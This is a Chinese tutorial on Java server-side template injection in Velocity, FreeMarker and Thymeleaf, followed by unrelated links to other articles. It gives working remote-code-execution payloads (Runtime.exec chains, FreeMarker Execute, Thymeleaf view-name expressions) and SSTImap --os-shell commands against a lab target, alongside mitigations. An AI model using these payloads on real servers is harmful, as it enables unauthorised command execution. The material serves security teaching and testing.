Java SSTI服务端模版注入漏洞原理与利用

文章目录

  • 前言
  • Velocity
    • 基础语法
    • 基础示例
    • 命令执行
  • 靶场实践
    • 漏洞代码
    • 漏洞验证
    • 检测工具
  • FreeMarker
    • 基础示例
    • 漏洞示例
    • CMS案例
  • Thymeleaf
    • 基础示例
    • 漏洞示例
    • 安全方案
  • 总结

前言

SSTI(Server Side Template Injection)全称服务端模板注入漏洞,在 Java 中常用的模板引擎有 FreeMarker、Velocity、Thymeleaf、Spring View Manipulation、Pebble、JinJava 及 Hubspot 等等。
imagepng
所谓模版引擎,简单来讲就是利用模版语言的特定语法处理模版中的特定参数,帮助动态渲染数据到 view 层或生成电子邮件、配置文件、HTML 网页等输出文本。模板引擎支持在运行时使用 HTML 页面中的实际值替换变量/占位符,从而让 HTML 页面的设计变得更容易。但是如果没有对用户的输入进行校验,对恶意类进行了调用,就会造成任意代码执行等危害。

常见的可能存在 SSTI 漏洞的模板引擎信息如下:

本文主要学习 Java 项目常见的三大模板引擎(Velocity、FreeMarker、Thymeleaf)的 SSTI 漏洞原理与利用。常见的模板引擎的语法及 payload 总结可参见:PayloadsAllTheThings/Server Side Template Injection。

Velocity

Velocity 是一个基于 Java 的模板引擎,广泛运用于 Java 项目中,Velocity 可用于从模板生成网页、SQL、PostScript 和其他输出。它既可以用作生成源代码和报告的独立实用程序,也可以用作其他系统的集成组件。近年来不少中间件服务器,如 Solr、协同办公软件、confluence、 Jria 等,陆续被爆存在 velocity 模版注入漏洞(CVE-2019-17558、CVE-2019-3394、CVE-2021-43947等)。下文以 Velocity 模板引擎为主,来学习下 SSTI 注入的原理和利用。

基础语法

官方指导文档:https://velocity.apache.org/engine/1.7/user-guide.html。

VTL (Velocity Template Language) 大致语法如下所示:

语法组成详细信息
语句标识符#用来标识 Velocity 的脚本语句,包括 #set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro 等语句。
变量$用来标识一个变量,比如模板文件中为 Hello $a,可以获取通过上下文传递的$a
声明set用于声明 Velocity 脚本变量,变量可以在脚本中声明,比如#set($a ="velocity")
注释单行注释为 ##,多行注释为成对出现的#* ............. *#
变量属性通过.操作符使用变量的内容,比如获取并调用 getClass():#set($e=“e”) $e.getClass()

一个简单的示例:

<html>
  <body>
    #set( $foo = "Velocity" )
    Hello $foo World!
  </body>
</html>

基础示例

创建一个 Maven 项目,在 pom.xml 导入以下依赖:

<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
<dependency>
  <groupId>org.apache.velocity</groupId>
  <artifactId>velocity</artifactId>
  <version>1.7</version>
</dependency>

在资源文件夹路径下创建如下模板 src/main/resources/test.vm:

Hello World! The first velocity demo.
Name is $name.
Project is $project

然后在主程序编写如下 Velocity 模板引擎的测试代码:

public static void main(String[] args) {
    VelocityEngine velocityEngine = new VelocityEngine();
    velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
    velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");
    velocityEngine.init();

    VelocityContext context = new VelocityContext();
    context.put("name", "Tr0e");
    context.put("project", "Velocity");

    Template template = velocityEngine.getTemplate("test.vm");
    StringWriter sw = new StringWriter();
    template.merge(context, sw);

    System.out.println("final output:\n" + sw);
}

解释下上述代码:

  1. 首先通过 VelocityEngine 创建模板引擎,接着velocityEngine.setProperty设置模板路径src/main/resources、加载器类型为 file;
  2. 然后通过velocityEngine.init()完成引擎初始化;
  3. 接着通过 VelocityContext() 创建上下文变量,通过put添加模板中使用的变量到上下文;
  4. 进一步通过getTemplate选择路径中具体的模板文件test.vm,创建 StringWriter 对象存储渲染结果;
  5. 最后将上下文变量传入template.merge进行渲染。

运行结果如下所示:
imagepng
上面的案例为了简单起见,通过控制台输出 Velocity 模板引擎渲染的数据,实际项目中大部分是将渲染结果通过 html 进行前端展示。

命令执行

而如果 Velocity 引擎加载的模板可以被攻击者控制,便可以导致系统存在命令注入的风险。

来实践体验一下,修改模板 test.vm,在文件头部添加内容如下:

#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("gnome-calculator")

其它内容均不变,重新运行 main 程序,可以看到成功执行打开计算器的命令:
imagepng
【More】上面代码等价于,即行换符号可使用分号替代(即使分号直接去掉也 ok):

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("gnome-calculator")

【思考】如果上面的缺陷代码,攻击者可以修改的不是整个 template 模板,而是模板中某个变量的值(比如上面例子的 name 变量),能否也实现 RCE?

VelocityContext context = new VelocityContext();
context.put("name", "Tr0e");
context.put("project", "Velocity");

控制某个输出变量可能在实战中遇到的概率比较大,但是本人实践下来并无法实现 RCE,比如替换上面的 name 变量的值 “Tr0e”,修改后的恶意的 Payload 并不会作为执行,而是当作普通字符串赋值给 name 变量。

靶场实践

Java 综合靶场:https://github.com/JoyChou93/java-sec-code。

漏洞代码

https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSTI.java

@RestController
@RequestMapping("/ssti")
public class SSTI {

    /**
     * SSTI of Java velocity. The latest Velocity version still has this problem.
     * Fix method: Avoid to use Velocity.evaluate method.
     * <p>
     * http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
     * Open a calculator in MacOS.
     *
     * @param template exp
     */
    @GetMapping("/velocity")
    public void velocity(String template) {
        Velocity.init();
        VelocityContext context = new VelocityContext();
        context.put("author", "Elliot A.");
        context.put("address", "217 E Broadway");
        context.put("phone", "555-1337");
        StringWriter swOut = new StringWriter();
        Velocity.evaluate(context, swOut, "test", template);
    }
}

这段漏洞代码的 template 模板完全由外部传递,显然存在 SSTI 漏洞。需要注意的是:这段漏洞代码跟我们上面的示例代码有所差别,此处采用的是调用Velocity.evaluate函数对传递进来的 template 模板进行渲染,上文示例代码则采用的是template.merge函数进行渲染,需要注意这两个 Sink 点是异曲同工的,代码审计过程需要一并关注。

【More】从《CVE-2019-3396 Confluence Velocity SSTI漏洞浅析》文章的分析调试可以看到,CVE-2019-3396 漏洞的代码 sink 点便是template.merge,其中 template 外部攻击者可控,详情请阅读原文。

漏洞验证

POC 如下:

http://192.168.147.197:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22touch%20/tmp/evil2.txt%22)

imagepng
成功执行命令创建文件:
imagepng

检测工具

SSTI 开源漏洞检测与漏洞利用工具:https://github.com/vladko312/SSTImap,支持的模板引擎:https://github.com/vladko312/SSTImap#supported-template-engines。

λ python sstimap.py -u "http://192.168.147.49:8080/ssti/velocity?template=*" -C "JSESSIONID=39779FDC377151009D7FDA904ABBA200; XSRF-TOKEN=fe364f34-83db-47b5-b856-cad98f05e1e e; remember-me=YWRtaW46MTcxOTYzMDAyNDkzMTowMjdiOTIyZTQzMmY0Y2VjOTQ1Y2QwMGY5YmU3OTY1Mw"

imagepng
支持进行命令交互:
imagepng
可惜这个靶场是个盲注无回显的靶场:

λ python sstimap.py -u "http://192.168.147.49:8080/ssti/velocity?template=123" -C "JSESSIONID=39779FDC3771510 09D7FDA904ABBA200; XSRF-TOKEN=fe364f34-83db-47b5-b856-cad98f05e1ee; remember-me=YWRtaW46MTcxOTYzMDAyNDkzMTowMjdiOTIyZTQzMmY0Y2VjOTQ1Y2QwMGY5YmU3OTY1Mw" --os-shell

imagepng
imagepng

FreeMarker

FreeMarker 中文官网:http://freemarker.foofun.cn/index.html。

基础示例

FreeMarker 是一款 Java 语言编写的模板引擎,它是一种基于模板和程序动态生成的数据,动态生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。它不是面向最终用户的,而是一个 Java 类库,是一款程序员可以嵌入他们所开发产品的组件。

FreeMarker 模板文件主要由如下 4 个部分组成:

  1. 文本:包括 HTML 标签与静态文本等静态内容,该部分内容会原样输出;
  2. 注释:使用<#-- ... -->格式做注释,里面内容不会输出;
  3. 插值:即${...}#{...}格式的部分,类似于占位符,将使用数据模型中的部分替代输出;
  4. FTL 指令:即 FreeMarker 指令,全称是:FreeMarker Template Language,和 HTML 标记类似,但名字前加#予以区分,不会输出。

基础示例

在 Maven 项目的 pom.xml 中引入依赖:

<!-- https://mvnrepository.com/artifact/org.freemarker/freemarker -->
<dependency>
  <groupId>org.freemarker</groupId>
  <artifactId>freemarker</artifactId>
  <version>2.3.31</version>
</dependency>

在资源文件夹路径下创建如下src/main/resources/SSTI/hello.ftl模板文件:

<html>
  <head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
  </head>
  <body>
      <#--我只是一个注释,我不会有任何输出 -->
      ${name}你好,${message}
  </body>
</html>

然后在主程序编写如下 FreeMarker 模板引擎的测试代码:

public static void main(String[] args) throws IOException, TemplateException {
    //1.创建配置类
    Configuration configuration = new Configuration(Configuration.getVersion());
    //2.设置模板所在的目录
    configuration.setDirectoryForTemplateLoading(new File("src/main/resources/SSTI"));
    //3.设置字符集
    configuration.setDefaultEncoding("utf-8");
    //4.加载模板
    Template template = configuration.getTemplate("hello.ftl");
    //5.创建数据模型
    Map map=new HashMap();
    map.put("name", "Tr0e");
    map.put("message", "欢迎来到我的博客!");
    //6.创建Writer对象
    Writer out =new FileWriter(new File("src/main/resources/hello.html"));
    //7.输出
    template.process(map, out);
    //8.关闭Writer对象
    out.close();
}

运行程序,可成功借助 FreeMarker 模板引擎渲染、生成 html 文件:
imagepng

漏洞示例

同样的,如果 template 模板攻击者可控,那么便存在 SSTI 注入导致的任意代码执行漏洞。

修改src/main/resources/SSTI/hello.ftl模板文件,如下:

<html>
<head>
    <meta charset="utf-8">
    <title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}
<h3>
    <#assign value="freemarker.template.utility.Execute"?new()>${value("gnome-calculator")}
</h3>
</body>
</html>

程序其它内容均保持不变,重新运行 main,即可发现成功执行打开计算器的命令:
imagepng
综上,如果 FreeMarker 模板引擎的 template 外部可控且未经任何校验,将导致系统存在 RCE 风险。

【漏洞防御】

Configuration configuration = new Configuration();
configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

设置上述代码会加入一个校验,将freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor等危险 Class 过滤。
imagepng

CMS案例

参见《从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞》,介绍了一个 CMS 采用 FreeMarker 模板引擎导致的 RCE 漏洞。

先登录进 ofcms 的后台 admin 管理界面,然后再模板文件中课编辑 Freemarker 的模板代码,随机挑选一个幸运页面,进行 payload 注入:
imagepng
然后从前台进入该页面(联系我们):
imagepng
即可触发系统命令执行的操作:
imagepng
这个案例在实战中很常见,因为后台管理系统经常会提供各种前台界面模板编辑的功能,此时需留意是否存在 SSTI 漏洞。

Thymeleaf

Thymeleaf 官方指导文档:https://www.thymeleaf.org/documentation.html,中文介绍参考:https://fanlychie.github.io/post/thymeleaf.html。

基础示例

Thymeleaf 是一个服务器端 Java 模板引擎,能够处理 HTML、XML、CSS、JAVASCRIPT 等模板文件。Thymeleaf 模板可以直接当作静态原型来使用,它主要目标是为开发者的开发工作流程带来优雅的自然模板,也是 Java 服务器端 HTML5 开发的理想选择。

Thymeleaf 模板引擎支持多种表达式:

  • 变量表达式:${...}
  • 选择变量表达式:*{...}
  • 链接表达式:@{...}
  • 国际化表达式:#{...}
  • 片段引用表达式:~{...}

直接通过一个示例代码来看看此模板引擎如何使用,Github 有个开源示例项目:spring-view-manipulation。

这是一个 SpringBoot 项目,先看其 pom.xml 引入的 Thymeleaf 依赖:

<dependencies>
  <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
  </dependency>
  <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
  </dependency>
</dependencies>

具体的控制器代码:HelloController.java

@Controller
public class HelloController {

    Logger log = LoggerFactory.getLogger(HelloController.class);

    @GetMapping("/")
    public String index(Model model) {
        model.addAttribute("message", "happy birthday");
        return "welcome";
    }

    //GET /path?lang=en HTTP/1.1
    //GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
    @GetMapping("/path")
    public String path(@RequestParam String lang) {
        return "user/" + lang + "/welcome"; //template path is tainted
    }

    //GET /fragment?section=main
    //GET /fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x
    @GetMapping("/fragment")
    public String fragment(@RequestParam String section) {
        return "welcome :: " + section; //fragment is tainted
    }

    @GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document) {
        log.info("Retrieving " + document);
        //returns void, so view name is taken from URI
    }

    @GetMapping("/safe/fragment")
    @ResponseBody
    public String safeFragment(@RequestParam String section) {
        return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
    }

    @GetMapping("/safe/redirect")
    public String redirect(@RequestParam String url) {
        return "redirect:" + url; //FP as redirects are not resolved as expressions
    }

    @GetMapping("/safe/doc/{document}")
    public void getDocument(@PathVariable String document, HttpServletResponse response) {
        log.info("Retrieving " + document); //FP
    }
}

提供了 Thymeleaf 引擎的基础应用示例、SSTI 漏洞示例、以及安全修复示例。先来关注基础应用示例:

@GetMapping("/")
public String index(Model model) {
   model.addAttribute("message", "happy birthday");
   return "welcome";
}

由于使用了@Controller@GetMapping("/")注解,因此将对根 url (‘/’) 的每个 HTTP GET 请求调用此方法。它没有任何参数,并返回一个静态字符串“welcome",然而 Spring 框架将“welcome”解释为视图名称,并尝试查找位于应用程序资源中的文件“**resources/templates/welcome.html**”。如果找到它,它将呈现模板文件中的视图并返回给用户。

如果正在使用 Thymeleaf 视图引擎(这是 Spring 中最流行的),则模板 welcome.html可能如下所示:

<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
  <div th:fragment="header">
    <h3>Spring Boot Web Thymeleaf Example</h3>
  </div>
  <div th:fragment="main">
    <span th:text="'Hello, ' + ${message}"></span>
  </div>
</html>

运行此 SpringBoot 项目,访问站点根路径,可以看到返回了预期的视图:
imagepng
其中model.addAttribute("message", "happy birthday");设置的 “happy birthday” 字符串成功传递到了 welcome.html 的 message 变量之中,这就是 Thymeleaf 模板引擎发挥的解析和渲染作用。

漏洞示例

从安全角度来看,可能会出现模板名称或片段与不受信任的数据连接的情况。例如,使用 request 参数:

//GET /path?lang=en HTTP/1.1
//GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}

Payload 已经在注释中提供了:

/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x

成功执行命令:
imagepng
imagepng
此路由正常的业务则是访问:
imagepng
【注意】上面可以看到当用户控制的数据 (URI) 直接进入视图名称并解析为表达式时,Thymeleaf 模板引擎也变得容易受到攻击。 故 Thymeleaf 模板引擎 SSTI 注入漏洞存在一个与前面 Velocity、FreeMarker 引擎不同的利用点:在模板名称受外部控制的情况下,也可能导致 Thymeleaf SSTI 注入。

安全方案

Safe case: ResponseBody

在某些情况下,控制器会返回使用受控值,但它们不容易受到视图名称操作的影响。例如,当控制器带有 @ResponseBody 注释时:

@GetMapping("/safe/fragment")
@ResponseBody
public String safeFragment(@RequestParam String section) {
    return "welcome :: " + section; //FP, as @ResponseBody annotation tells Spring to process the return values as body, instead of view name
}

在这种情况下,Spring Framework 不会将其解释为视图名称,而只是在 HTTP 响应中返回此字符串。这同样适用于类上的@RestController,因为它在内部继承@ResponseBody

实践一下:
imagepng
imagepng

Safe case: Response is already processed

@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("Retrieving " + document); //FP
}

这种情况与前面的易受攻击示例之一非常相似,但由于控制器在参数中具有 HttpServletResponse,Spring 认为它已经处理了 HTTP 响应,因此视图名称解析不会发生。此检查存在于 ServletResponseMethodArgumentResolver 类中。

Safe case: A redirect

@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
    return "redirect:" + url; //CWE-601, as we can control the hostname in redirect
}

当视图名称被预置时 “redirect:” ,逻辑也不同。在这种情况下,Spring 不再使用 Spring ThymeleafView,而是使用 RedirectView,它不执行表达式计算。此示例仍然存在开放重定向漏洞,但它肯定不像通过表达式计算的 RCE 那样危险。
imagepng
imagepng

总结

本文通过具体的漏洞实例代码,分析、总结了 Java 项目常见的三大模板引擎(Velocity、FreeMarker、Thymeleaf)的 SSTI 漏洞原理与利用方法。虽然相应的模板引擎 SSTI 注入漏洞基本上都拥有 CVE 编号和安全版本,当时在开发人员错误引入存在漏洞缺陷的模板引擎版本的情况下,目标系统依旧存在 RCE 风险。其它模板引擎的 SSTI 漏洞利用基本上同理,实战遇到的话,查询官方语法指导文档后现学现卖即可。

本文参考文章如下:

  1. javaweb代码审计学习(SSTI漏洞);
  2. Java模版引擎注入(SSTI)漏洞研究 - 郑瀚Andrew ;
  3. CVE-2019-3396 Confluence Velocity SSTI漏洞浅析;
  4. 服务器端模版注入SSTI分析与归纳 - 跳跳糖;
  5. 从ofcms的模板注入漏洞(CVE-2019-9614)浅析SSTI漏洞;
  6. https://github.com/veracode-research/spring-view-manipulation。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/712764.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

开放式耳机值得入手买吗?可以对比这几款开放式耳机看看

居家办公时&#xff0c;选择一款合适的耳机能够有效地提高工作效率。入耳式耳机虽然能够有效地隔绝外界噪音&#xff0c;但长时间佩戴会对耳朵造成负担&#xff0c;甚至引发耳道感染。而头戴式耳机虽然能够提供更好的音质&#xff0c;但体积较大&#xff0c;佩戴起来不够灵活。…

PyTorch -- Batch Normalization(BN) 快速实践

Batch Normalization 可以 改善梯度消失/爆炸问题&#xff1a;前面层的梯度经过多次传递后会变得非常小(大)&#xff0c;从而导致网络收敛速度慢(不收敛)&#xff0c;应用 BN 可缓解加速网络收敛&#xff1a;BN 使得每个神经元的输入分布更加稳定减少过拟合&#xff1a;BN 可减…

求导,积分

求导公式&#xff1a; 复合函数求导法则&#xff1a;两个函数导函数的乘积. 例如&#xff1a;f(x)2x1,f(x)2,g(x)x^24x4,g(x)2x4 那么复合函数&#xff1a; g(f(x))(2x1)^24(2x1)4 把&#xff08;2x1&#xff09;看做整体,则g2(2x1)4 然后再求&#xff08;2x1&#xff09;的导函…

LeetCode | 2879.显示前三行

在 pandas 中&#xff0c;可以使用 head() 方法来读取 DataFrame 的前几行数据。如果想读取指定数量的行&#xff0c;可以在 head() 方法中传入一个参数 n&#xff0c;读取前 n 行 import pandas as pddef selectFirstRows(employees: pd.DataFrame) -> pd.DataFrame:retur…

Dictionary 字典

文章目录 一、什么是字典1.1 字典的创建方式 一、什么是字典 字典&#xff1a; 用来存储数据&#xff0c;与列表和元组不一样的是&#xff0c;字典以键值对的形式对数据进行存储&#xff0c;也就是 key 和 value。相当于 Java 中的 Map。 注意&#xff1a; 1、 key 的值不可重…

C++进阶(一)

个人主页&#xff1a;PingdiGuo_guo 收录专栏&#xff1a;C干货专栏 前言 本篇博客是讲解函数的重载以及引用的知识点的。 文章目录 前言 1.函数重载 1.1何为函数重载 1.2函数重载的作用 1.3函数重载的实现 2.引用 2.1何为引用 2.2定义引用 2.3引用特性 2.4常引用 2…

认识一些分布函数-Frechet分布及其应用

1. 何为Frechet分布 Frechet分布也称为极值分布(EVD)类型II,用于对数据集中的最大值进行建模。它是四种常用极值分布之一。另外三种是古贝尔分布、威布尔分布和广义极值分布(Gumbel Distribution, the Weibull Distribution and the Generalized Extreme Value Distributi…

34 Debian如何配置ELK群集

作者:网络傅老师 特别提示:未经作者允许,不得转载任何内容。违者必究! Debian如何配置ELK群集 《傅老师Debian知识库系列之34》——原创 ==前言== 傅老师Debian知识库特点: 1、拆解Debian实用技能; 2、所有操作在VMware虚拟机实测完成; 3、致力于最终形成Debian知识手…

LVS-DR模式详解:提升网站性能的最佳解决方案

LVS-DR模式原理 用户请求到达Director Server&#xff1a; 用户请求到达Director Server&#xff08;负载均衡服务器&#xff09;&#xff0c;数据包首先到达内核空间的PREROUTING链。数据包源IP&#xff1a;CIP&#xff0c;目标IP&#xff1a;VIP&#xff0c;源MAC&#xff1a…

【内存管理之C语言数组】

1.栈空间上的C数组 糟糕的可用性&#xff0c;但是你将在遗留代码中见到它们 相同类型的对象的内存块 大小必须是常量表达式 第一个元素索引为0 2.指针和C数组 更奇怪的是&#xff1a;数组标识符退化为指向第一个元素的指针 3.访问数组 4.堆空间上的C数组 相同类型的对象的内…

数据库开发——并发控制(第十一章)

文章目录 前言并发执行例题一、封锁二、封锁协议三、可串行调度四、总结 学习目标&#xff1a;重点为并发控制的基本概念及几个基本协议 前言 数据库管理系统必须提供并发控制机制&#xff0c;保证事务的隔离性和一致性 并发执行例题 一、封锁 排他锁称为写锁&#xff0c;共…

智能化状态管理:自动状态流转处理模块

目录 基本背景介绍 具体实现 基本数据准备 基本数据表 状态转换常量 状态转换注解 任务处理模版 各任务实现逻辑 开启比对任务进行处理 降噪字段处理任务处理 开启业务数据比对处理 业务数据比对处理 开始核对数据生成最终报告处理 核对数据生成最终报告处理 状…

小红书教程简化版,从0开始走向专业,小红书-主理人培养计划 (13节)

课程目录 1-小红书分析与拆解.mp4 2-小红书电商玩法.mp4 3-小红书基础信息设置10_1.mp4 4-小红书如何开店&#xff1f;.mp4 5-小红书店铺设置&#xff08;1&#xff09;.mp4 5-小红书店铺设置.mp4 6-小红书笔记制作与产品发布.mp4 7-小红书运营的文案与标题.mp4 8-小红…

Spring Boot 自定义Starter

自定义starter 创建pom项目 <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.ap…

MySQL的三种重要的日志

日志 Mysql有三大日志系统 Undo Log&#xff08;回滚日志&#xff09;&#xff1a;记录修改前的数据&#xff0c;用于事务回滚和 MVCC&#xff08;多版本并发控制&#xff09;。 Redo Log&#xff08;重做日志&#xff09;&#xff1a;记录数据变更&#xff0c;用于崩溃恢复&…

XAMPP PHP-CGI 远程代码执行漏洞(CVE-2024-4577)

漏洞概述&#xff1a; PHP 是一种被广泛应用的开放源代码的多用途脚本语言&#xff0c;PHP-CGI 是 PHP 自带的 FastCGI 管理器。是一个实现了 CGI 协议的程序&#xff0c;用来解释 PHP 脚本的程序&#xff0c;2024 年 6 月 7 日&#xff0c;推特安全上 orange 公开了其漏洞细节…

基于Wireshark实现对FTP的抓包分析

基于Wireshark实现对FTP的抓包分析 前言一、虚拟机Win10环境配置二、FileZilla客户端的安装配置下载FileZilla客户端安装FileZilla 三、FileZilla Server安装下载FileZilla Server安装 四、实现对FTP的抓包前置工作实现抓包完成抓包 前言 推荐一个网站给想要了解或者学习人工智…

MySQL学习笔记-进阶篇-SQL优化

SQL优化 插入数据 insert优化 1&#xff09;批量插入 insert into tb_user values(1,Tom),(2,Cat),(3,Jerry); 2&#xff09;手动提交事务 mysql 默认是自动提交事务&#xff0c;这样会导致频繁的开启和提交事务&#xff0c;影响性能 start transaction insert into tb_us…

【面经总结】Java基础 - SPI

SPI 什么是 SPI&#xff1f; 提供给服务提供者去使用的一个接口 SPI 的优点 低耦合配置灵活多态性 SPI 的应用场景 JDBCSLF4J 日志

Pandas AI:最棒的大模型数据分析神器!

暑期实习基本结束了&#xff0c;校招即将开启。 不同以往的是&#xff0c;当前职场环境已不再是那个双向奔赴时代了。求职者在变多&#xff0c;HC 在变少&#xff0c;岗位要求还更高了。 最近&#xff0c;我们又陆续整理了很多大厂的面试题&#xff0c;帮助一些球友解惑答疑&…